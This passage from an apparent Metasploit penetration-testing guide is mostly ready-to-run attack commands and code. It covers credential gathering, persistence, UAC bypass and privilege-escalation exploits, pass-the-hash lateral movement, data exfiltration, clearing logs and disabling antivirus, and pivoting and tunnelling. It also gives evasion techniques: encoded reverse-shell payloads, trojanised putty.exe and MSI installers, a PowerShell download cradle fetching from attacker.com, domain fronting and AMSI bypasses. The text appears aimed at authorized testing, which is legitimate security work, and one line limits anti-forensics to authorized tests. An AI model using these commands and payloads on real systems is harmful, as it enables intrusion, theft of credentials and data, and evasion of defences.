use post/multi/gather/ssh_creds
set SESSION 1
run

# Firefox creds (cross-platform)
use post/multi/gather/firefox_creds
set SESSION 1
run

# Ping sweep through session
use post/multi/gather/ping_sweep
set SESSION 1
set RHOSTS 10.10.10.0/24
run

# Check screen resolution
use post/multi/gather/check_display
set SESSION 1
run

# NetBIOS enumeration
use post/multi/gather/netbios_enumeration
set SESSION 1
set RHOSTS 192.168.1.0/24
run
```

5.6 Persistence Techniques

5.6.1 Windows Persistence

```
# Service persistence
use exploit/windows/local/persistence_service
set SESSION 1
set SERVICE_NAME "WindowsUpdate"
run

# Registry persistence
use exploit/windows/local/registry_persistence
set SESSION 1
run

# Startup persistence
use exploit/windows/local/persistence
set SESSION 1
set STARTUP SYSTEM
run
```

```
# VNC server (persistent)
use exploit/windows/local/persistent_vnc
set SESSION 1
set USER victim
set PASS Password123
run

# Scheduled task
use exploit/windows/local/persistence
set SESSION 1
set TRIGGER_TYPE logon
run

# WMI persistence
use exploit/windows/local/wmi_persistence
set SESSION 1
run
```

5.6.2 Linux Persistence

```
# Cron persistence
use exploit/linux/local/cron_persistence
set SESSION 1
set CLEANUP true
run

# Service persistence
use exploit/linux/local/service_persistence
set SESSION 1
run

# SSH key persistence
use post/linux/manage/sshkey_persistence
set SESSION 1
set CREATESSHFOLDER true
run
```

5.7 Privilege Escalation

5.7.1 Windows

```
# Bypass UAC
use exploit/windows/local/bypassuac
set SESSION 1
run

# UAC bypass (fodhelper)
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
run

# Always Install Elevated
use exploit/windows/local/always_install_elevated
set SESSION 1
run

# Named pipe impersonation
use exploit/windows/local/named_pipe_impersonation
set SESSION 1
```

```
run

# Token kidnapping
use exploit/windows/local/ppr_flatten_rec
set SESSION 1
run

# MS16-032
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
run

# Print spooler (PrintNightmare)
use exploit/windows/local/cve_2021_1675_printnightmare
set SESSION 1
run
```

5.7.2 Linux

```
# Overlayfs
use exploit/linux/local/overlayfs_priv_esc
set SESSION 1
run

# PwnKit (CVE-2021-4034)
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set SESSION 1
run

# Docker escape
use exploit/linux/local/docker_daemon_privilege_escalation
set SESSION 1
run

# Sudo token
use exploit/linux/local/sudo_baron_samedit
set SESSION 1
run
```

5.8 Lateral Movement

```
# PsExec
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.100
set SMBUser Administrator
set SMBPass <password_or_hash>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# WMI Exec
use exploit/windows/local/wmi_exec
set RHOSTS 192.168.1.100
set SMBUser Administrator
set SMBPass <password>
run

# Pass the Hash
use exploit/windows/smb/psexec
set RHOSTS 192.168.1.100
```

```
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:hash
run

# WinRM
use exploit/windows/winrm/winrm_script_exec
set RHOSTS 192.168.1.100
set USERNAME Administrator
set PASSWORD <password>
run

# SSH with credentials
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.0/24
set USERNAME root
set PASSWORD toor
run
```

5.9 Data Exfiltration

```
# Zip and download folder
shell
powershell Compress-Archive C:\Users\victim\Documents\* docs.zip
exit
download docs.zip

# Download specific file types
use post/multi/gather/file_search
set SESSION 1
set PATTERN "*.xlsx"
set PATH "C:\\Users"
set DOWNLOAD true
run

# Screenshot capture
use post/multi/gather/screenshot
set SESSION 1
set COUNT 10
set DELAY 5
run

# Keylogger results
# (After running keyscan_start in Meterpreter)
use post/windows/capture/keylog_recorder
set SESSION 1
run
```

5.10 Covering Tracks

```
# Clear event logs
use post/windows/manage/delete_records
set SESSION 1
run

# Timestomp
use post/windows/manage/timestomp
set SESSION 1
set FILES "C:\\payload.exe"
```

```
run

# Clear USN journal
use post/windows/manage/delete_usn_journal
set SESSION 1
run

# Disable Windows Defender
use post/windows/manage/disable_defender
set SESSION 1
run

# Kill AV
use post/windows/manage/killav
set SESSION 1
run
```

These anti-forensic techniques should only be used in authorized testing scenarios. In real penetration tests, document all actions for the client. Clearing logs may violate terms of engagement.

5.11 Common Post-Exploitation Workflows

Typical Post-Exploitation Flow

1. **Stabilize** - Migrate to stable process
2. **Enumerate** - System info, users, network
3. **Escalate** - Get SYSTEM/root if needed
4. **Credential Harvesting** - Dump hashes, passwords
5. **Persistence** - Maintain access
6. **Lateral Movement** - Expand access
7. **Data Collection** - Gather sensitive information
8. **Clean Up** - Remove artifacts (authorized tests only)

6 Pivoting and Tunneling

6.1 Overview

Pivoting allows you to use a compromised system as a gateway to attack systems that are not directly accessible from your attacking machine. Tunneling creates secure channels through compromised hosts.

6.2 Routing with Metasploit

6.2.1 Manual Route Addition

```
# Add route through session
route add <subnet> <netmask> <session_id>

# Example: Route to 10.10.10.0/24 through session 1
route add 10.10.10.0 255.255.255.0 1

# Add multiple routes
route add 172.16.0.0 255.255.0.0 1
route add 192.168.100.0 255.255.255.0 1

# Display routing table
route print

# Remove route
route remove 10.10.10.0 255.255.255.0 1

# Flush all routes
route flush
```

6.2.2 AutoRoute Module

Automated Routing

```
# Auto-add routes from compromised host
use post/multi/manage/autoroute
set SESSION 1
run

# Add specific subnet
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.10.10.0
set NETMASK 255.255.255.0
run

# View current routes
use post/multi/manage/autoroute
set SESSION 1
set CMD print
run

# Delete route
use post/multi/manage/autoroute
set SESSION 1
set CMD delete
set SUBNET 10.10.10.0
run
```

6.3 Port Forwarding

6.3.1 Local Port Forwarding

```
# In Meterpreter session
portfwd add -l <local_port> -p <remote_port> -r <target_ip>

# Forward RDP from internal host
portfwd add -l 3389 -p 3389 -r 10.10.10.5

# Connect locally
rdesktop 127.0.0.1:3389

# Forward SSH
portfwd add -l 2222 -p 22 -r 10.10.10.10
ssh -p 2222 user@127.0.0.1

# Forward web server
portfwd add -l 8080 -p 80 -r 10.10.10.20
# Browse: http://127.0.0.1:8080

# Forward MySQL
portfwd add -l 3306 -p 3306 -r 10.10.10.30
mysql -h 127.0.0.1 -u root -p

# List all forwards
portfwd list

# Delete specific forward
portfwd delete -l 3389

# Clear all forwards
portfwd flush
```

6.3.2 Reverse Port Forwarding

```
# Forward attacker's local port to internal network
portfwd add -R -l <remote_port> -p <local_port> -L <local_ip>

# Make internal service accessible from attacker
portfwd add -R -l 8080 -p 80 -L 192.168.1.50
```

6.4 SOCKS Proxy

6.4.1 Setting up SOCKS Proxy

```
# Background Meterpreter session
background

# Set up SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 1080
set SRVHOST 127.0.0.1
set VERSION 4a
run -j

# Verify proxy is running
jobs -l
```

```
# Alternative: SOCKS5 proxy
use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j
```

6.4.2 Configuring ProxyChains

```
# Edit proxychains configuration
nano /etc/proxychains4.conf

# Add at the end of file:
# socks4 127.0.0.1 1080
# or for SOCKS5:
# socks5 127.0.0.1 1080

# Use proxychains with tools
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains ssh user@10.10.10.10
proxychains firefox
proxychains msfconsole

# Quiet mode (less output)
proxychains -q nmap 10.10.10.5
```

- Use `-sT` (TCP connect scan) with Nmap through proxychains
- Avoid SYN scans (`-sS`) as they won't work through SOCKS
- Use `-Pn` to skip host discovery
- Set lower `-T` timing for stability
- Firefox with ProxyChains allows web access to internal networks

6.5 SSH Tunneling

6.5.1 Local Port Forwarding via SSH

```
# SSH local port forwarding
ssh -L <local_port>:<target>:<target_port> user@pivot_host

# Example: Access internal RDP
ssh -L 3389:10.10.10.5:3389 user@pivot.com
rdesktop localhost:3389

# Multiple forwards
ssh -L 3389:10.10.10.5:3389 \
    -L 8080:10.10.10.20:80 \
    user@pivot.com
```

6.5.2 Dynamic Port Forwarding (SOCKS)

```
# Create SOCKS proxy via SSH
ssh -D 1080 user@pivot_host
```

```
# Configure proxychains
# socks5 127.0.0.1 1080

# Use with applications
proxychains firefox
proxychains nmap -sT 10.10.10.0/24
```

6.5.3 Remote Port Forwarding

```
# SSH remote port forwarding
ssh -R <remote_port>:localhost:<local_port> user@pivot_host

# Make local service accessible to pivot host
ssh -R 8080:localhost:80 user@pivot.com
```

6.6 Meterpreter Pivoting Scenarios

6.6.1 Scenario 1: Basic Network Pivot

```
# 1. Compromise initial host (192.168.1.100)
# 2. Discover internal network (10.10.10.0/24)

# In Meterpreter
run autoroute -s 10.10.10.0/24
background

# 3. Scan internal network through pivot
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 445,3389,22,80,443
set THREADS 10
run

# 4. Exploit vulnerable internal host
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/bind_tcp
run
```

6.6.2 Scenario 2: Multi-Hop Pivot

```
# Network topology:
# Attacker -> Host A (192.168.1.100) -> Host B (10.10.10.5) -> Host C (172.16.0.5)

# 1. Route through Host A to 10.10.10.0/24
sessions -i 1
run autoroute -s 10.10.10.0/24
background

# 2. Compromise Host B
# ... exploitation ...

# 3. Route through Host B to 172.16.0.0/16
sessions -i 2
run autoroute -s 172.16.0.0/16
background
```

```
# 4. Now you can reach 172.16.0.5 through both pivots
route print
```

6.6.3 Scenario 3: Port Forward for GUI Access

```
# 1. Set up port forward for RDP
sessions -i 1
portfwd add -l 3389 -p 3389 -r 10.10.10.5

# 2. Connect from attacker machine
rdesktop localhost:3389

# 3. Forward VNC
portfwd add -l 5900 -p 5900 -r 10.10.10.10
vncviewer localhost:5900

# 4. Forward web application
portfwd add -l 8080 -p 80 -r 10.10.10.20
firefox http://localhost:8080
```

6.7 Advanced Tunneling Techniques

6.7.1 SSH over HTTP (Chisel)

```
# On attacker machine
./chisel server -p 8000 --reverse

# On compromised host
./chisel client http://attacker:8000 R:1080:socks

# Configure proxychains
# socks5 127.0.0.1 1080
```

6.7.2 DNS Tunneling

```
# Use when only DNS traffic is allowed
use auxiliary/server/dns_tunnel
set DOMAIN tunnel.example.com
run -j

# On compromised host, use compatible client
# (dnscat2, iodine, etc.)
```

6.7.3 ICMP Tunneling

```
# Useful when ICMP (ping) is allowed but TCP/UDP is blocked
# Tools: ptunnel, icmpsh

# On attacker
./ptunnel -x password

# On compromised host
./ptunnel -p attacker_ip -lp 8000 -da internal_host -dp 80 -x password
```

6.8 Scanning Through Pivot

```
# After setting up routes/SOCKS

# TCP port scan
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 21,22,23,25,80,443,445,3389,8080
set THREADS 20
run

# SMB version scanner
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
run

# SMB login scanner
use auxiliary/scanner/smb/smb_login
set RHOSTS 10.10.10.0/24
set SMBUser Administrator
set SMBPass password123
run

# HTTP version scanner
use auxiliary/scanner/http/http_version
set RHOSTS 10.10.10.0/24
run

# SSH version scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.10.10.0/24
run
```

6.9 Exploitation Through Pivot

```
# Ensure routes are set
route print

# Exploit internal target
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4444
run

# Note: Use bind_tcp payloads when pivoting
# Reverse payloads may not work through pivots
```

When exploiting through pivots:

- Use **bind_tcp** payloads (target listens)
- Avoid **reverse_tcp** unless you set up reverse port forwarding
- Bind payloads are more reliable through pivots
- Ensure the bind port is not blocked by firewall

6.10 Troubleshooting Pivoting Issues

Common Issues and Solutions

```
# Issue: Routes not working
# Solution: Verify session is alive
sessions -i 1
sysinfo

# Issue: Slow scanning
# Solution: Reduce threads and timing
set THREADS 5
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set DELAY 1

# Issue: SOCKS proxy not working
# Solution: Check proxy is running
jobs -l
# Verify proxychains config
cat /etc/proxychains4.conf

# Issue: Can't reach pivoted network
# Solution: Check routing table and test connectivity
route print
# Try pinging through Meterpreter
shell
ping 10.10.10.5
exit
```

6.11 Best Practices for Pivoting

- Always background sessions before routing/pivoting
- Document network topology as you discover it
- Use `autoroute` for automatic route management
- Test connectivity before attempting exploitation
- Use bind payloads when exploiting through pivots
- Monitor session stability during pivoting operations
- Clean up routes and forwards after use
- Be aware of network latency in multi-hop scenarios
- Use appropriate payload sizes (staged vs stageless)
- Consider operational security - minimize noise

7 Obfuscation and Evasion

7.1 Overview

Modern antivirus and endpoint protection systems can detect standard Metasploit payloads. This section covers techniques to evade detection and increase the success rate of your payloads.

7.2 Payload Encoding

7.2.1 Basic Encoding

```
# Single encoding iteration
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x64/xor_dynamic \
  -f exe -o encoded.exe

# Multiple iterations (more obfuscation)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x64/xor_dynamic -i 10 \
  -f exe -o encoded_10x.exe

# Use shikata_ga_nai (x86 only)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o shikata.exe
```

7.2.2 Available Encoders

Common Encoders

```
# List all encoders
msfvenom -l encoders

# x86 encoders
x86/shikata_ga_nai     # Excellent rating
x86/jmp_call_additive  # Normal rating
x86/call4_dword_xor    # Normal rating
x86/countdown          # Normal rating

# x64 encoders
x64/xor_dynamic        # Normal rating
x64/xor                # Normal rating
x64/zutto_dekiru       # Normal rating

# Other encoders
cmd/powershell_base64  # PowerShell
php/base64             # PHP
ruby/base64            # Ruby
```

Encoding alone is NOT sufficient to evade modern AV/EDR:

- Many AVs detect common encoders
- Multiple iterations may not significantly improve evasion
- Combine encoding with other techniques
- Consider custom crypters/packers

7.3 Template Injection

```
# Inject into legitimate PE file
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -x putty.exe -f exe -o putty_trojan.exe

# Keep original functionality
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -x putty.exe -k -f exe -o putty_trojan_functional.exe

# Inject into MSI installer
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -x installer.msi -f msi -o trojan_installer.msi
```

7.4 Staged vs Stageless Payloads

Staged Payloads:

- Smaller initial payload
- Better for size-constrained scenarios
- Two-stage process (stager + stage)
- Example: `windows/x64/meterpreter/reverse_tcp`

Stageless Payloads:

- Larger single payload
- More stable connection
- Single-stage process
- Better for unstable networks
- Example: `windows/x64/meterpreter_reverse_tcp`

7.5 Using HTTPS for Encrypted Communication

```
# HTTPS payload (encrypted communication)
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 \
```

```
  LURI=/admin \
  -f exe -o https_shell.exe

# Set up handler
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443
set LURI /admin
set HandlerSSLCert /path/to/cert.pem
exploit -j

# Custom User-Agent
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 \
  HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  -f exe -o custom_ua.exe
```

7.6 Payload Obfuscation Techniques

7.6.1 Custom Crypters

```
# Generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f raw -o shellcode.bin

# Use external crypter/packer
# Examples: UPX, VMProtect, Themida, Enigma Protector
# (These tools must be obtained and used separately)

# Basic UPX packing
upx --best payload.exe -o packed.exe
```

7.6.2 Custom Loaders

```
# Generate shellcode in C format
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f c -o shellcode.c

# Create custom loader in C
# unsigned char buf[] = { /* shellcode */ };
# - Implement XOR/AES encryption
# - Add anti-debugging checks
# - Implement sandbox detection
# - Use process injection techniques
# - Compile with MinGW or Visual Studio
```

7.7 Process Injection

```
# Generate shellcode for injection
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f csharp -o shellcode.cs

# Process injection techniques:
```

```
# - CreateRemoteThread
# - QueueUserAPC
# - RtlCreateUserThread
# - Process Hollowing
# - Reflective DLL Injection
# - Thread Execution Hijacking
```

7.8 In-Memory Execution

7.8.1 PowerShell In-Memory

```
# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 \
  -f psh -o shell.ps1

# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 \
  -f psh-cmd

# Reflective PowerShell
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 \
  -f psh-reflection

# Execute in memory
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object
    Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
```

7.8.2 C# In-Memory Execution

```
# Generate C# shellcode
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.50 LPORT=443 \
  -f csharp -o shellcode.cs

# Use with execute-assembly techniques
# Compile as .NET assembly for in-memory execution
```

7.9 Web Delivery

```
# Python web delivery
use exploit/multi/script/web_delivery
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set TARGET 2 # Python
set SRVPORT 8080
exploit -j

# PowerShell web delivery
use exploit/multi/script/web_delivery
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443
set TARGET 2 # PSH
```

```
set SRVPORT 8080
exploit -j

# PHP web delivery
use exploit/multi/script/web_delivery
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set TARGET 1 # PHP
set SRVPORT 8080
exploit -j

# Victim executes:
# powershell.exe -nop -w hidden -c "IEX ((new-object
    net.webclient).downloadstring('http://attacker:8080/...'))"
```

7.10 AV Evasion Tools

7.10.1 Veil Framework

```
# Veil-Evasion (separate tool)
# Generate AV-evading payloads
# Supports multiple languages (Python, C, C#, Ruby, Go)
# https://github.com/Veil-Framework/Veil

# Example workflow:
# ./Veil.py
# use evasion
# list
# use python/meterpreter/rev_tcp
# set LHOST 192.168.1.50
# generate
```

7.10.2 Shellter

```
# Shellter (Windows only, runs in Wine)
# Dynamic shellcode injection tool
# Injects shellcode into legitimate PEs

# Generate raw shellcode first
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f raw -o payload.bin

# Use Shellter to inject into legitimate PE
# Automatic mode recommended
```

7.11 Payload Generation Best Practices

Evasion Best Practices

1. **Use HTTPS/TLS** - Encrypts payload traffic
2. **Custom User-Agents** - Blend in with normal traffic
3. **Avoid common ports** - Use 443, 53, or 80
4. **Staged payloads** - Smaller initial footprint
5. **Legitimate process names** - Name files appropriately
6. **Sign binaries** - Use code signing if possible
7. **Obfuscate strings** - Encode embedded strings
8. **Delay execution** - Sleep before payload execution
9. **Environment checks** - Detect sandboxes/VMs
10. **AMSI bypass** - For PowerShell payloads

7.12 Handler Configuration for Evasion

```
# HTTPS handler with custom SSL cert
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443
set LURI /api/v1/update
set HandlerSSLCert /root/ssl/cert.pem
set StagerVerifySSLCert true
set EnableStageEncoding true
set StageEncoder x64/xor_dynamic
exploit -j

# HTTP with custom headers
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_http
set LHOST 192.168.1.50
set LPORT 80
set LURI /admin/panel
set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
exploit -j
```

7.13 Advanced Evasion Techniques

7.13.1 Domain Fronting

```
# Use CDN to hide C2 server
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=cloudfront.net LPORT=443 \
  HttpHostHeader=actual-c2-server.com \
  -f exe -o domain_fronted.exe

# Handler configuration
set LHOST actual-c2-server.com
set OverrideRequestHost true
```

```
set HttpHostHeader cloudfront.net
```

7.13.2 Polymorphic Payloads

```
# Each generation produces different binary
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x64/xor_dynamic -i 5 \
  --platform windows --arch x64 \
  -f exe -o polymorphic1.exe

# Generate multiple unique variants
for i in {1..10}; do
  msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.50 LPORT=4444 \
    -e x64/xor_dynamic -i $(($RANDOM % 10 + 1)) \
    -f exe -o "poly_$i.exe"
done
```

7.14 Sandbox Evasion

```
# Add delays to evade sandbox
# Generate shellcode and wrap in custom loader with:
# - Sleep() calls
# - Mouse movement checks
# - User interaction requirements
# - System uptime checks
# - Number of CPU cores check
# - Memory size check
# - Process count check
# - Virtualization detection

# Example detection checks in custom loader:
# - Check for VM artifacts
# - Verify user activity
# - Ensure realistic system resources
# - Delay execution (Sleep 60000+)
```

7.15 AMSI Bypass (PowerShell)

```
# Common AMSI bypass (may be detected)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,St

# Obfuscated AMSI bypass
$a =
    [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Use before executing payload
# Many variants exist - rotate and test regularly
```

7.16 Testing Payloads

Test your payloads before deployment:

- **VirusTotal** - Don't upload actual payloads (burned immediately)
- **Antiscan.me** - Private scanning service
- **Local AV testing** - Test in isolated environment
- **Hybrid Analysis** - Sandbox testing
- **NoDistribute** - No-log scanning service

Warning: Never upload operational payloads to public scanners. Create test payloads with dummy C2 addresses for testing.

8 Modules and Customization

8.1 Module Structure

Metasploit uses a modular architecture with different module types for various tasks. Understanding this structure allows you to create custom modules and extend functionality.

8.2 Module Types

Metasploit Module Types

Exploits Take advantage of vulnerabilities to compromise systems

Payloads Code executed after successful exploitation

Auxiliary Supporting modules (scanners, fuzzers, etc.)

Post Post-exploitation modules

Encoders Transform payloads to evade detection

NOPs No-operation generators

Evasion AV/EDR evasion modules

8.3 Module Locations

```
# System modules (don't modify)
/usr/share/metasploit-framework/modules/

# User modules (custom modules)
~/.msf4/modules/

# Create directory structure
mkdir -p ~/.msf4/modules/{exploits,auxiliary,post,payloads}

# Reload modules in msfconsole
reload_all
```

8.4 Creating Custom Auxiliary Module

8.4.1 Basic Scanner Template

```
# ~/.msf4/modules/auxiliary/scanner/http/custom_scanner.rb

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Custom HTTP Scanner',
      'Description'  => %q{
        This module scans for a specific web application
      },
      'Author'       => ['Your Name'],
```

```
      'License'       => MSF_LICENSE
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'The base path', '/']),
      OptString.new('PATTERN', [true, 'Pattern to search', 'admin'])
    ])
  end

  def run_host(ip)
    begin
      res = send_request_cgi({
        'uri'    => normalize_uri(target_uri.path),
        'method' => 'GET'
      })

      if res && res.body.include?(datastore['PATTERN'])
        print_good("#{ip}:#{rport} - Pattern found!")
        report_note(
          host: ip,
          port: rport,
          proto: 'tcp',
          type: 'custom.scanner',
          data: "Pattern #{datastore['PATTERN']} found"
        )
      else
        print_error("#{ip}:#{rport} - Pattern not found")
      end
    rescue ::Rex::ConnectionError
      print_error("#{ip}:#{rport} - Connection failed")
    end
  end
end
```

8.5 Creating Custom Post-Exploitation Module

```
# ~/.msf4/modules/post/windows/gather/custom_gather.rb

require 'msf/core'
require 'rex'

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Post::File

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Custom Information Gathering',
      'Description'  => %q{
        Gathers custom information from Windows system
      },
      'License'      => MSF_LICENSE,
      'Author'       => ['Your Name'],
      'Platform'     => ['win'],
      'SessionTypes' => ['meterpreter']
    ))

    register_options([
      OptString.new('REGKEY', [true, 'Registry key to read',
        'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion'])
```

```
    ])
  end

  def run
    print_status("Starting custom information gathering...")

    # Check session
    if session.type != "meterpreter"
      print_error("This module only works with Meterpreter sessions")
      return
    end

    # Get system info
    sysinfo = session.sys.config.sysinfo
    print_good("Computer: #{sysinfo['Computer']}")
    print_good("OS: #{sysinfo['OS']}")

    # Read registry
    begin
      key = datastore['REGKEY']
      values = registry_enumvals(key)
      print_status("Registry key #{key} has #{values.length} values")

      values.each do |val|
        data = registry_getvaldata(key, val)
        print_line(" #{val} = #{data}")
      end
    rescue
      print_error("Failed to read registry key")
    end

    # Read file
    begin
      file_path = "C:\\Windows\\System32\\drivers\\etc\\hosts"
      if file?(file_path)
        contents = read_file(file_path)
        print_good("Hosts file contents:")
        print_line(contents)
      end
    rescue
      print_error("Failed to read hosts file")
    end
  end
end
```

8.6 Creating Custom Exploit Module

```
# ~/.msf4/modules/exploits/custom/example_exploit.rb

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Custom Exploit Example',
      'Description'   => %q{
```

```
        This is a template for custom exploit modules
      },
      'Author'        => ['Your Name'],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Targets'       =>
        [
          ['Windows Universal',
            {
              'Ret' => 0x12345678, # Example return address
              'Offset' => 2048
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jan 1 2024'
    ))

    register_options([
      Opt::RPORT(9999)
    ])
  end

  def check
    connect
    sock.put("CHECK\r\n")
    res = sock.get_once
    disconnect

    if res && res.include?("VULNERABLE")
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect

    # Build exploit buffer
    buffer = "A" * target['Offset']
    buffer << [target.ret].pack('V') # Return address
    buffer << payload.encoded

    print_status("Sending exploit...")
    sock.put(buffer)

    handler
    disconnect
  end
end
```

8.7 Module Development Best Practices

- Follow Ruby style guidelines
- Include proper error handling
- Use meaningful variable names
- Add detailed descriptions and references
- Test thoroughly before deployment
- Document module usage
- Include check method when possible
- Report findings to database
- Use appropriate ranking
- Handle edge cases

8.8 Module Ranking

Exploit Ranking System

```
# Ranking determines reliability
ManualRanking     # Manual exploitation required
LowRanking        # Unlikely to work
AverageRanking    # Common protection mechanism
NormalRanking     # Works most of the time
GoodRanking       # Reliable
GreatRanking      # Very reliable
ExcellentRanking # Rock solid
```

8.9 Testing Custom Modules

```
# Reload modules
reload_all

# Search for your module
search custom

# Test module
use auxiliary/scanner/http/custom_scanner
show options
set RHOSTS 192.168.1.100
run

# Debug mode
set VERBOSE true
set DebugMSF true

# Check for errors in logs
tail -f ~/.msf4/logs/framework.log
```

8.10 Resource Scripts

8.10.1 Creating Resource Scripts

```
# Create resource script
cat > ~/.msf4/scripts/auto_handler.rc << EOF
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST eth0
set LPORT 443
set ExitOnSession false
set EnableStageEncoding true
exploit -j -z
EOF

# Load resource script
msfconsole -r ~/.msf4/scripts/auto_handler.rc

# Or within msfconsole
resource ~/.msf4/scripts/auto_handler.rc
```

8.10.2 Advanced Resource Script Example

```
# Multi-handler resource script
cat > multi_handlers.rc << EOF
# Start multiple handlers for different payloads

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443
set ExitOnSession false
exploit -j -z

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 5555
set ExitOnSession false
exploit -j -z

# List jobs
jobs -l
EOF
```

8.11 Database Integration

```
# Report findings to database

# In your module
def run
  # Report host
```

```
  report_host(
    host: rhost,
    os_name: 'Windows',
    os_flavor: '10',
    os_sp: '21H1'
  )

  # Report service
  report_service(
    host: rhost,
    port: rport,
    proto: 'tcp',
    name: 'http',
    info: 'Apache 2.4.41'
  )

  # Report vulnerability
  report_vuln(
    host: rhost,
    port: rport,
    proto: 'tcp',
    name: 'Custom Vulnerability',
    info: 'Detailed information',
    refs: ['CVE-2021-12345', 'URL-https://example.com']
  )

  # Report credentials
  report_auth_info(
    host: rhost,
    port: rport,
    sname: 'ssh',
    user: 'admin',
    pass: 'password123',
    proof: 'Login successful',
    source_type: 'user_supplied',
    active: true
  )

  # Report note
  report_note(
    host: rhost,
    type: 'custom.finding',
    data: 'Important information'
  )
end
```

8.12 Plugin Development

```
# ~/.msf4/plugins/custom_plugin.rb

module Msf
  class Plugin::CustomPlugin < Msf::Plugin

    def initialize(framework, opts)
      super
      add_console_dispatcher(CustomCommandDispatcher)
      print_status("Custom Plugin loaded")
    end

    def cleanup
```

```
    remove_console_dispatcher('custom')
  end

  def name
    "CustomPlugin"
  end

  def desc
    "Custom plugin for Metasploit"
  end

end

class CustomCommandDispatcher
  include Msf::Ui::Console::CommandDispatcher

  def name
    "custom"
  end

  def commands
